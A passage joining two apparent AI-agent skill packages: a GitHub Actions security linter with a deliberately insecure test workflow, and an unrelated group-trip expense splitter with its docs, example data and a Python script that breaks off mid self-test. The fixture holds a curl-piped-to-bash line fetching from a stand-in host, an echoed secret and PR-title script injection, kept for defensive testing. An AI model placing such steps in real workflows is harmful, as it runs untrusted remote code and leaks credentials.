pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
Splits shared costs for a group trip, house share, or event: equal, subset, weighted, or exact splits, mixed currencies with stated rates, and repayments already made, all in integer cents so totals match. Produces per-person balances and a short "who pays whom" list (at most one transfer fewer than people). Use when friends ask "who owes what?" after a trip or a shared house month. Includes a stdlib Python splitter with --self-test.
---
name: group-trip-expense-splitter
description: Splits shared costs for a group trip, house share, or event: equal, subset, weighted, or exact splits, mixed currencies with stated rates, and repayments already made, all in integer cents so totals match. Produces per-person balances and a short "who pays whom" list (at most one transfer fewer than people). Use when friends ask "who owes what?" after a trip or a shared house month. Includes a stdlib Python splitter with --self-test.
---
# Group Trip Expense Splitter
You help a group settle shared expenses fairly and without arguments. You collect what was bought, who paid, and who it was for, convert currencies with agreed rates, compute everyone's balance to the cent, and propose a short list of payments (never more than one fewer than the number of people) that makes everyone even. You explain every number so anyone in the group can check it.
## Files in this skill
- `scripts/split_expenses.py` - computes paid, share, and net balance per person and the settle-up transfers; supports equal, among, shares, exact, and transfer_to entries (Python 3 standard library only)
- `references/splitting-rules.md` - how to choose a split method for each kind of cost and handle common edge cases
- `references/currency-and-rounding.md` - which exchange rate to use, card fees, and how cents are rounded
- `templates/settle-up-summary.md` - a summary to paste into the group chat
- `examples/trip.json` - a 4-person weekend with a skipped dinner, student tickets, weighted drinks, USD and GBP costs, and a cash repayment
## Workflow
### 1. Collect the expenses
Ask for: the people, the settlement currency, and for each expense the description, amount, currency, who paid, and who it was for. Accept a messy list or receipts and turn it into the JSON shape in `examples/trip.json`. Ask about money that already changed hands (cash handed over, partial paybacks) and record it as `transfer_to`.
### 2. Choose the split for each item
Default is equal among everyone. Use `among` for costs that only some people shared, `shares` for "Jonas had two drinks to Maya's one", and `exact` for itemized bills. See `references/splitting-rules.md` and confirm unclear items with the group instead of guessing.
### 3. Set currency rates
Agree on one rate per currency (card statement rate, or a published rate on a stated date) and put it in `rates` as "1 unit = X settlement units". See `references/currency-and-rounding.md`.
### 4. Run the splitter
```
python3 scripts/split_expenses.py examples/trip.json
python3 scripts/split_expenses.py trip.json --json > settle.json
python3 scripts/split_expenses.py --self-test
```
Exit code 2 with a clear message for unknown names, missing rates, negative amounts, or exact splits that do not add up.
### 5. Share the result
Fill `templates/settle-up-summary.md`: total spent, each person's paid/share/net, the transfers, and the rates used. Keep it short enough for a group chat and offer the full expense table on request.
## Rules
- Never guess who shared an expense; ask, or split equally and say so.
- Totals must match to the cent; mention who received rounding cents.
- Show the exchange rates and their source; do not look up live rates silently.
- Stay neutral: present numbers, not judgments about who spent more.
- Do not handle payment credentials or send money; only list who should pay whom.
FILE:references/splitting-rules.md
# Splitting Rules and Edge Cases
## Choosing a method
| Situation | Method | Example |
|---|---|---|
| Everyone used it | equal (default) | accommodation, car rental, shared groceries |
| Only some people took part | `among` | dinner one person skipped, a tour two people joined |
| Uneven use of the same thing | `shares` | drinks, nights stayed (3 nights vs 2), fuel by distance |
| Itemized bill or different prices | `exact` | student vs adult tickets, separate menu items |
| Money already handed over | `transfer_to` | cash paid back, a bank transfer during the trip |
## Edge cases
- **Someone arrives late or leaves early.** Use `shares` by nights for the accommodation (e.g. 3, 3, 2, 3).
- **Couples or families paying as one.** Either list them as one person, or keep them separate and give children a smaller share by agreement.
- **Deposits and refunds.** Amounts must be positive, so lower the original expense by the refund. If the refund landed with someone other than the original payer, also add a `transfer_to` entry from the original payer to that person for the refunded amount, so the money they are holding counts against them.
- **Tips and service charges.** Split like the bill they belong to.
- **Gifts for one member (birthday dinner).** Use `among` with everyone except the guest.
- **Shared kitty / common pot.** Treat the kitty holder as the payer of everything bought from the pot and add each contribution as `transfer_to` the holder.
- **Personal items on a shared receipt.** Split the receipt into two entries: shared part (equal) and personal part (`exact` to that person).
## Fairness checks before sharing
1. Sum of everyone's share equals total spent.
2. Every expense has a payer who was actually there.
3. Nobody's share includes things they explicitly declined.
4. The group agreed on the rates and on any unequal splits.
FILE:references/currency-and-rounding.md
# Currency and Rounding
## Picking exchange rates
- **Best:** the rate on the payer's card or bank statement for that charge, including any foreign transaction fee, because that is what they actually paid.
- **Simple:** one published rate (for example a central bank reference rate) on a stated date for the whole trip.
- **Cash bought at an exchange office:** the rate they bought the cash at.
Write rates as "1 unit of foreign currency = X units of settlement currency": `"USD": 0.92` means 1 USD = 0.92 EUR.
## Fees
- Card foreign transaction fees (often 1-3%) are a real cost of the shared purchase; add them to the expense amount if the group agrees.
- Fees to send the settle-up money (bank or app transfer fees) are usually paid by the sender.
## Rounding to the cent
1. Each expense is converted and rounded once (half up) to whole cents.
2. The amount is split by weight; each person gets the whole cents of their exact share.
3. Leftover cents (at most one per person) go to people with the largest fractional parts, then alphabetically on ties.
This keeps every expense exact to the cent and the result reproducible. Over a trip the rounding difference per person is a few cents at most.
## Settling in more than one currency
Settle in one currency where possible. If someone must pay in another currency, convert their final transfer at a rate both sides accept and note it in the summary.
FILE:templates/settle-up-summary.md
# Settle-up - <trip or event name>
**Dates:** <dates> **People:** <names> **Settlement currency:** <currency>
**Total spent:** <amount> across <n> expenses **Rates used:** <1 USD = 0.92 EUR (card statements), ...>
## Balances
| Person | Paid | Share | Net (+ gets back / - owes) |
|---|---|---|---|
| | | | |
## Who pays whom
- <name> pays <name> <amount>
- <name> pays <name> <amount>
## Notes
- Unequal splits: <dinner without Leo, student tickets, drinks by count>
- Rounding cents went to: <names>
- Already settled during the trip: <cash or transfers>
## Group chat message
> Trip totals are in! We spent <total> together. To settle up: <transfer 1>; <transfer 2>; <transfer 3>. Full breakdown is in the thread. Shout if anything looks off by <date>.
FILE:examples/trip.json
{
"trip": "Lisbon long weekend, 4 friends",
"currency": "EUR",
"rates": {"USD": 0.92, "GBP": 1.17},
"people": ["Maya", "Jonas", "Priya", "Leo"],
"expenses": [
{"desc": "Apartment, 3 nights", "amount": 486.00, "paid_by": "Maya"},
{"desc": "Airport taxi", "amount": 38.50, "paid_by": "Jonas"},
{"desc": "Groceries for breakfasts", "amount": 61.27, "paid_by": "Priya"},
{"desc": "Seafood dinner (Leo skipped)", "amount": 142.80, "paid_by": "Jonas", "among": ["Maya", "Jonas", "Priya"]},
{"desc": "Sintra day tour, booked online", "amount": 196.00, "currency": "USD", "paid_by": "Leo"},
{"desc": "Fado show (Priya and Leo have student tickets)", "amount": 84.00, "paid_by": "Maya", "exact": {"Maya": 25, "Jonas": 25, "Priya": 17, "Leo": 17}},
{"desc": "Wine and pastel de nata tasting", "amount": 72.00, "paid_by": "Priya", "shares": {"Maya": 1, "Jonas": 2, "Priya": 1, "Leo": 2}},
{"desc": "Tram and metro cards", "amount": 26.40, "currency": "GBP", "paid_by": "Leo"},
{"desc": "Cash Jonas already handed Maya on day 2", "amount": 30.00, "paid_by": "Jonas", "transfer_to": "Maya"}
]
}
FILE:scripts/split_expenses.py
#!/usr/bin/env python3
"""Group trip expense splitter and settle-up planner (Python 3 standard library only).
Input JSON:
{
"currency": "EUR", # settlement currency
"rates": {"USD": 0.92, "TRY": 0.027}, # 1 unit of key = rate units of settlement currency
"people": ["Ana", "Ben", "Cem", "Dee"],
"expenses": [
{"desc": "Villa", "amount": 1200, "paid_by": "Ana"}, # equal, everyone
{"desc": "Dinner", "amount": 180, "paid_by": "Ben", "among": ["Ana", "Ben", "Cem"]}, # equal, subset
{"desc": "Boat", "amount": 300, "currency": "USD", "paid_by": "Cem",
"shares": {"Ana": 2, "Ben": 1, "Cem": 1}}, # weighted
{"desc": "Museum", "amount": 54, "paid_by": "Dee", "exact": {"Dee": 18, "Ana": 36}}, # exact amounts
{"desc": "Ana pays Ben back", "amount": 50, "paid_by": "Ana", "transfer_to": "Ben"} # direct repayment
]
}
All math is done in integer cents. Rounding remainders go to participants in a fixed order (largest
fractional part first, then name), so totals always match to the cent and results are reproducible.
Settle-up uses a greedy largest-creditor / largest-debtor match, which needs at most n-1 transfers.
Usage:
python3 split_expenses.py trip.json
python3 split_expenses.py trip.json --json
python3 split_expenses.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import json
import sys
from decimal import Decimal, ROUND_HALF_UP
class SplitError(ValueError):
pass
def to_cents(amount, rate=Decimal(1)):
try:
d = Decimal(str(amount)) * Decimal(str(rate)) * 100
except Exception:
raise SplitError(f"bad amount {amount!r}")
return int(d.quantize(Decimal(1), rounding=ROUND_HALF_UP))
def fmt(cents, cur):
sign = "-" if cents < 0 else ""
return f"{sign}{abs(cents) // 100:,}.{abs(cents) % 100:02d} {cur}"
def allocate(total, weights):
"""Split integer total by weights {name: weight}; largest-remainder method, ties by name."""
wsum = sum(weights.values())
if wsum <= 0:
raise SplitError("weights must sum to more than zero")
raw = {n: Decimal(total) * Decimal(str(w)) / Decimal(str(wsum)) for n, w in weights.items()}
base = {n: int(v) for n, v in raw.items()}
left = total - sum(base.values())
order = sorted(weights, key=lambda n: (-(raw[n] - base[n]), n))
for n in order[:left]:
base[n] += 1
return base
def compute(data):
cur = data.get("currency") or "EUR"
rates = {k.upper(): v for k, v in (data.get("rates") or {}).items()}
people = data.get("people") or []
if len(people) < 2:
raise SplitError("need at least two people")
if len(set(people)) != len(people):
raise SplitError("duplicate names in people")
known = set(people)
paid = {p: 0 for p in people}
owed = {p: 0 for p in people}
lines = []
for i, e in enumerate(data.get("expenses") or [], start=1):
desc = e.get("desc") or f"expense {i}"
payer = e.get("paid_by")
if payer not in known:
raise SplitError(f"{desc}: paid_by {payer!r} is not in people")
ecur = (e.get("currency") or cur).upper()
if ecur == cur.upper():
rate = 1
elif ecur in rates:
rate = rates[ecur]
else:
raise SplitError(f"{desc}: no rate for {ecur} -> {cur}; add it to 'rates'")
total = to_cents(e.get("amount"), rate)
if total <= 0:
raise SplitError(f"{desc}: amount must be positive")
modes = [k for k in ("among", "shares", "exact", "transfer_to") if k in e]
if len(modes) > 1:
raise SplitError(f"{desc}: use only one of among / shares / exact / transfer_to")
if "transfer_to" in e:
to = e["transfer_to"]
if to not in known or to == payer:
raise SplitError(f"{desc}: transfer_to must be another person")
split = {to: total}
elif "exact" in e:
ex = e["exact"]
for n in ex:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = {n: to_cents(v, rate) for n, v in ex.items()}
diff = total - sum(split.values())
if abs(diff) > len(split): # allow only currency-conversion rounding
raise SplitError(f"{desc}: exact amounts add up to {fmt(sum(split.values()), cur)}, not {fmt(total, cur)}")
if diff:
split[sorted(split)[0]] += diff
elif "shares" in e:
sh = e["shares"]
for n, w in sh.items():
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
if float(w) < 0:
raise SplitError(f"{desc}: negative share for {n}")
split = allocate(total, {n: w for n, w in sh.items() if float(w) > 0})
else:
among = e.get("among") or people
for n in among:
if n not in known:
raise SplitError(f"{desc}: unknown person {n!r}")
split = allocate(total, {n: 1 for n in among})
paid[payer] += total
for n, c in split.items():
owed[n] += c
lines.append({"desc": desc, "paid_by": payer, "amount": total, "original": f"{e.get('amount')} {ecur}",
"split": split, "kind": modes[0] if modes else "equal"})
net = {p: paid[p] - owed[p] for p in people}
assert sum(net.values()) == 0, "internal error: balances do not sum to zero"
return {"currency": cur, "people": people, "expenses": lines, "paid": paid, "owed": owed,
"net": net, "transfers": settle(net),
"total_spent": sum(l["amount"] for l in lines if l["kind"] != "transfer_to")}
def settle(net):
cred = sorted([[c, n] for n, c in net.items() if c > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([[-c, n] for n, c in net.items() if c < 0], key=lambda x: (-x[0], x[1]))
out = []
while cred and debt:
amt = min(cred[0][0], debt[0][0])
out.append({"from": debt[0][1], "to": cred[0][1], "amount": amt})
cred[0][0] -= amt
debt[0][0] -= amt
cred = sorted([x for x in cred if x[0] > 0], key=lambda x: (-x[0], x[1]))
debt = sorted([x for x in debt if x[0] > 0], key=lambda x: (-x[0], x[1]))
return out
def to_markdown(r):
c = r["currency"]
lines = ["# Trip settle-up", "", f"Total spent: {fmt(r['total_spent'], c)} across {len([e for e in r['expenses'] if e['kind'] != 'transfer_to'])} expenses", "",
"## Expenses", "| # | Expense | Paid by | Amount | Split |", "|---|---|---|---|---|"]
for i, e in enumerate(r["expenses"], 1):
split = ", ".join(f"{n} {fmt(v, c)}" for n, v in sorted(e["split"].items()))
conv = "" if e["original"].endswith(c.upper()) else f" ({e['original']})"
lines.append(f"| {i} | {e['desc']} | {e['paid_by']} | {fmt(e['amount'], c)}{conv} | {e['kind']}: {split} |")
lines += ["", "## Balances", "| Person | Paid | Share | Net |", "|---|---|---|---|"]
for p in r["people"]:
lines.append(f"| {p} | {fmt(r['paid'][p], c)} | {fmt(r['owed'][p], c)} | {fmt(r['net'][p], c)} |")
lines += ["", "## Who pays whom"]
if not r["transfers"]:
lines.append("Everyone is even.")
lines += [f"- {t['from']} pays {t['to']} {fmt(t['amount'], c)}" for t in r["transfers"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = {"currency": "EUR", "people": ["Ana", "Ben", "Cem"]}
r = compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))
ok("10.00 split three ways sums exactly", sum(r["owed"].values()) == 1000 and sorted(r["owed"].values()) == [333, 333, 334])
ok("remainder cent goes to first name on tie", r["owed"]["Ana"] == 334)
ok("two transfers to the payer", sorted((t["from"], t["amount"]) for t in r["transfers"]) == [("Ben", 333), ("Cem", 333)])
r = compute(dict(base, expenses=[{"desc": "A", "amount": 30, "paid_by": "Ana"}, {"desc": "B", "amount": 30, "paid_by": "Ben"}, {"desc": "C", "amount": 30, "paid_by": "Cem"}]))
ok("equal spending means no transfers", r["transfers"] == [])
r = compute(dict(base, expenses=[{"desc": "Dinner", "amount": 90, "paid_by": "Ben", "among": ["Ana", "Ben"]}]))
ok("subset split excludes others", r["owed"]["Cem"] == 0 and r["net"]["Ana"] == -4500)
r = compute(dict(base, expenses=[{"desc": "Boat", "amount": 100, "paid_by": "Cem", "shares": {"Ana": 2, "Ben": 1, "Cem": 1}}]))
ok("weighted shares", r["owed"] == {"Ana": 5000, "Ben": 2500, "Cem": 2500})
r = compute(dict(base, expenses=[{"desc": "Tickets", "amount": 50, "paid_by": "Ana", "exact": {"Ben": 20, "Cem": 30}}]))
ok("exact amounts", r["net"] == {"Ana": 5000, "Ben": -2000, "Cem": -3000})
r = compute(dict(base, rates={"USD": 0.9}, expenses=[{"desc": "Gas", "amount": 30, "currency": "USD", "paid_by": "Ben"}]))
ok("currency conversion to cents", r["paid"]["Ben"] == 2700 and sum(r["owed"].values()) == 2700)
r = compute(dict(base, expenses=[{"desc": "Hotel", "amount": 300, "paid_by": "Ana"}, {"desc": "Payback", "amount": 100, "paid_by": "Ben", "transfer_to": "Ana"}]))
ok("direct repayment reduces debt", r["net"] == {"Ana": 10000, "Ben": 0, "Cem": -10000})
ok("repayment not counted as spending", r["total_spent"] == 30000)
big = {"currency": "EUR", "people": ["A", "B", "C", "D", "E"],
"expenses": [{"desc": f"x{i}", "amount": 17.33 * (i + 1), "paid_by": "ABCDE"[i % 5], "among": list("ABCDE"[: 2 + i % 4])} for i in range(12)]}
r = compute(big)
ok("balances sum to zero", sum(r["net"].values()) == 0)
